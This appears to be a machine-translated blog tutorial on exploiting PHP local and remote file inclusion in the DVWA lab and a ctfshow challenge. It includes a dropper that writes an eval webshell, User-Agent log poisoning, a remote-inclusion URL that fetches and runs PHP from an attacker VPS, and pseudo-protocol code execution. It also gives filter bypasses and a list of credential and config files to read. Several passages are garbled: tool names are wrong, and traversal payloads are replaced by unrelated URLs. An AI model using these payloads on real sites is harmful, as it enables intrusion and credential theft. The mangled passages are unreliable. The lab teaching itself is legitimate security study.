File Inclusion Vulnerability

0 24
File Inclusion VulnerabilityI. What is a File Inclusion VulnerabilityCause of Vu...

File Inclusion Vulnerability

I. What is a File Inclusion Vulnerability

  1. Cause of Vulnerability:

    • To improve code reusability and modularity, developers usually write reusable functions or code segments into a single file. When these functions or code segments are needed, this file is directly called without the need to write again. This process of calling files is called 'inclusion'.

    • File Inclusion Vulnerability

      Developers did not properly filter and check user input parameters, which allowed attackers to control the value of parameters when including files, thereby accessing sensitive files or executing malicious code.

  2. Vulnerability Functions:include(), require(), include_once(), require_once().

    • The include() function includes and runs the specified file, emits a warning if the file does not exist, and the script continues to execute.

    • The require() function generates an error when it fails to process, and the script terminates.

    • include_once() is similar to include, but only includes once.

    • require_once() is similar to require, but only includes once.

  3. Vulnerability Classification:

    • Local File Inclusion (LFI): Attackers can read any file, including sensitive configuration files and password files.

    • Remote File Inclusion (RFI): Attackers can access files on remote servers or download and execute malicious code.

II. Local File Inclusion Vulnerability Exploitation Methods

1. File Reading

Testing with a non-existent file, we found warnings and absolute paths, let's take a look at the source code, the characteristics of the include() function1736145506_677b7a6205b8ce0465c06.png!small?1736145512384

if( isset( $file ) )
include( $file );
else {
header( 'Location:?page=include.php' );
exit;
}

Change the include function to the require function and try again, and find an error

1736145534_677b7a7eea2accbe54410.png!small

Returning to the main topic, read the win.ini under C drive using absolute path

1736145636_677b7ae4592fd9ceb4111.png!small?1736145642497

Use .../... relative path to read

1736145645_677b7aed585ab7668a2c3.png!small?1736145651507

Sensitive files:

  • User account information stored in /etc/passwd

  • Hash values of user passwords stored in /etc/shadow

  • apache configuration file /etc/httpd/conf/httpd.conf (centos); /etc/apache2/apache2.conf (ubuntu)

  • apache log file /var/log/httpd/access_log (centos); /var/log/apache2/access.log (ubuntu)

  • nginx configuration file /etc/nginx/nginx.conf

  • nginx log file /var/log/nginx/access.log

2. File Execution

Upload a phpinfo.php in this directory

<?php phpinfo();?>

Using the file include vulnerability, successful parsing is found

1736145709_677b7b2d36119b85c1ea8.png!small?1736145715490

As can be seen, the code in the php file included will be executed

Small idea: When we find a file include vulnerability, but we can only read some local files and cannot get shell, just at this website there is a file upload point, which cannot upload trojans, but can only send images, and this image does not have strict restrictions; or when the uploaded trojan cannot be accessed due to permission issues, combining these two vulnerabilities can achieve great effects. For example, if we upload an image trojan, the website cannot parse it, but we can use the file include vulnerability to include this file, and the file include will execute php code.

(1) Get shell by file upload

Upload a jpg file

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>'); 
# Write a shell.php trojan in this directory

1736146143_677b7cdf63a517f1fe2e6.png!small?1736146149613

payload: http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/dvwa/hackable/uploads/shell.jpg containing this jgp file, using the file include vulnerability to execute php code, and connecting with IDA.

1736146166_677b7cf6b16fb442b0b4f.png!small?1736146172948

(2) Coordinate with log files to get shell

Environment: ctfshow web4

Access a non-existent path https://b72a9fce-0d8a-4e30-bf3f-cd69a4b0f57b.challenge.ctf.show/ddddddsb

View logs (nginx default log /var/log/nginx/access.log): https://b72a9fce-0d8a-4e30-bf3f-cd69a4b0f57b.challenge.ctf.show/?url=/var/log/nginx/access.log, find that our request is recorded

1736149688_677b8ab885a8b0894762c.png!small?1736149694583

Include time, ip, request path, user-agent. Use burp to capture packets and insert a one-line trojan at the ua.

1736149748_677b8af4d0895186eb968.png!small?1736149755075

Use Aircrack to connect

1736149806_677b8b2e695b517870a5c.png!small?1736149814866

3. Ways to exploit Remote File Inclusion (RFI)

1. Include remote malicious files

Test https://www.baidu.com1736146189_677b7d0d13e2ae609b9eb.png!small?1736146195257

Deploy a malicious php script on the vps

python -m http.server 8000 # Use python to start http service

Remote inclusion of malicious files http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://172.16.14.105:8000/phpinfo.php

1736146202_677b7d1a1f64e329db0d7.png!small?1736146216626

4. Exploitation of pseudo-protocols

1. file://

  1. Function: Read local files

  2. Usage: file://[Absolute path and file name of the file]

    1736146210_677b7d226bb353515bb16.png!small?1736146216626

2. php://filter

  1. Function: Designed for filtering and applying when data streams are opened.

  2. Usage:

    resource=<Data stream to be filtered> Specifies the data stream you want to filter.Required
    read=<Filter list for read chain> Can set one or more filter names separated by a pipe symbol ().Optional
    write=<Filter list for write chain> Can set one or more filter names separated by a pipe symbol ().Optional
    <; The filter list of two chains. Any filter list that does not start with read= or write= will be applied to read or write chains as needed.
    • Base64 encoding read file: http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=D:/phpstudy_pro/WWW/dvwa/php.ini

      1736146240_677b7d40f0f1b02e6c11b.png!small?1736146247185

3. php://input

  1. Function: Can access the read-only stream of the original request data

  2. Usage: Execute PHP code using php://input + [POST DATA]

    1736146269_677b7d5dc4bf4bf4389d7.png!small?1736146275922

4. data://

  1. Function: Can be used to execute PHP code.

  2. Usage:

    • data://text/plain,

    • data://text/plain;base64

      http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data://text/plain,%3C?php%20phpinfo();?%3E

      1736146283_677b7d6b101c1385354c1.png!small?1736146289283

      http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

      1736146292_677b7d745e8731994915d.png!small?1736146298645

5. http:// & https://

  1. Function: Allows access throughHTTP 1.0Using the GET method to access files or resources in read-only mode.

  2. Usage: http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://www.baidu.com

    1736146306_677b7d829777c66fd5608.png!small?1736146312882

6. zip:// & bzip2:// & zlib://

  1. Function: Can access the subfile in the compressed file without specifying the suffix name.

  2. Usage: Compress phpinfo.txt to phpinfo.zip, rename the zip file to phpinfo.jpg, and upload it.

    http://127.0.0.1/dvwa/vulnerabilities/fi/?page=zip://D:\phpstudy_pro\WWW\dvwa\hackable\uploads\phpinfo.jpg%23phpinfo.txt

    1736146323_677b7d9329db6c010f2b3.png!small?1736146329367


5. Bypass methods

1. Case sensitivity and double-byte bypass

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace(array("http://", "https://"), "", $file);
$file = str_replace(array("https://www.freebuf.com/articles/", "..\\"), "", $file);

?>

Filtered 'http://';'https://';

Case-insensitive bypass: http://127.0.0.1/dvwa/vulnerabilities/fi/?page=HtTp://www.baidu.com

Double-encoded bypass: http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://www.baidu.com

Filtered 'https://www.freebuf.com/articles/';'..\\', double-encoded bypass: http://127.0.0.1/dvwa/vulnerabilities/fi/?page=.https://www.freebuf.com/articles/https://www.freebuf.com/articles/es/.https://www.freebuf.com/articles/https://www.freebuf.com/articles/es/php.ini

2. Bypassing pseudo-protocol

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>
# Check the page parameter using fnmatch function, the page parameter must start with file

Bypassing file protocol: http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:/phpstudy_pro/WWW/dvwa/php.ini

1736146341_677b7da5c11677390f75d.png!small?1736146347902


你可能想看:
最后修改时间:
admin
上一篇 2025年03月28日 23:07
下一篇 2025年03月28日 23:30

评论已关闭